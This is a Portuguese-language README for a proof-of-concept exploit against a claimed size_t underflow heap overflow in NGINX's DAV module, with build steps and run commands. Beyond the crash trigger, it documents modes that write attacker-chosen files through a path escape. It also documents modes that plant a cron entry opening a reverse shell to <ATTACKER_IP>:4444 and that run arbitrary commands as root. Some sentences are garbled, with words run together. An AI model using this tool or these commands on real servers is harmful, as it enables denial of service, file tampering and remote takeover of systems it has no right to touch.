
Estouro de buffer no heap do NGINX `ngx_http_dav_module` via subfluxo de `size_t` (DoS remoto / RCE potencial)
NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)
ngx_http_dav_copy_move_handler() em src/http/modules/ngx_http_dav_module.c
calcula o comprimento do URI de destino subtraindo o comprimento do prefixo do location
do componente de caminho do URI do cabeçalho Destination. Ambos os valores são size_t
(sem sinal de 64 bits). Quando o caminho de destino é mais curto que o prefixo do
location, a subtração sofre um wrap-around para ~0, produzindo um comprimento enorme de memcpy que
estoura uma alocação de heap de 7 bytes e causa a falha do processo worker.
Uma única requisição ou especialmente criada para um location DAV mapeado com dispara o estouro. O master do nginx reinicia o worker, mas requisições repetidas mantêm o servidor em um loop contínuo de falhas.
MOVECOPYaliasO ASan confirma: negative-size-param: (size=-7) em memcpy em
ngx_http_core_module.c:1949, chamado a partir de ngx_http_dav_copy_move_handler.
Afetados: nginx 0.5.13 até 1.28.2 (stable) e 1.29.0 até 1.29.6
(mainline), compilado com --with-http_dav_module e usando alias no
location DAV. Corrigido em 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
O modo padrão permanece o gatilho canônico de crash. Ele envia PUT seguido por
um MOVE criado cujo caminho Destination é mais curto que o prefixo do
location DAV:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Para configurações de laboratório autorizadas em que o tratamento de destino DAV permite um
escape de destino relativo, a mesma ferramenta pode entregar conteúdo controlado pelo
atacante para um caminho escolhido. O --location-prefix exato, o --escape-depth e o
caminho de destino devem vir da sua própria configuração de serviço e reconhecimento:
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell e cron-cmd são auxiliares genéricos de entrega para
ambientes autorizados com uma fonte DAV gravável e um escape de caminho de destino.
Eles não são necessários para comprovar o crash canônico de estouro de heap.
--with-http_dav_module, bloco de location usando
alias (não root), dav_methods inclui COPY ou MOVErequests é usado quando disponível; caso contrário, o PoC
usa a biblioteca padrão do Python para alvos HTTP simples.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| Arquivo | Descrição |
|---|---|
poc.py | PoC em Python -- gatilho canônico de crash e modos genéricos de destino COPY/MOVE |
run.sh | Compila o nginx a partir do código-fonte (ASan / non-ASan) e executa o PoC |
Dockerfile | Build em múltiplos estágios do nginx vulnerável 1.28.2 |
docker-compose.yml | Configuração Docker em um comando |
nginx.conf | Configuração vulnerável (alias + dav_methods COPY MOVE) |
proof_output.txt | Saída do ASan da verificação ao vivo |
Este projeto é distribuído sob a GNU GPLv3.
Ele é fornecido para pesquisa defensiva de segurança, educação e testes autorizados. Não use este código contra sistemas ou serviços sem permissão explícita do proprietário.
O uso não autorizado pode violar a legislação aplicável. Os autores não concedem permissão para testar sistemas de terceiros e não são responsáveis pelo uso indevido.
Consulte o arquivo LICENSE para os termos de garantia e responsabilidade.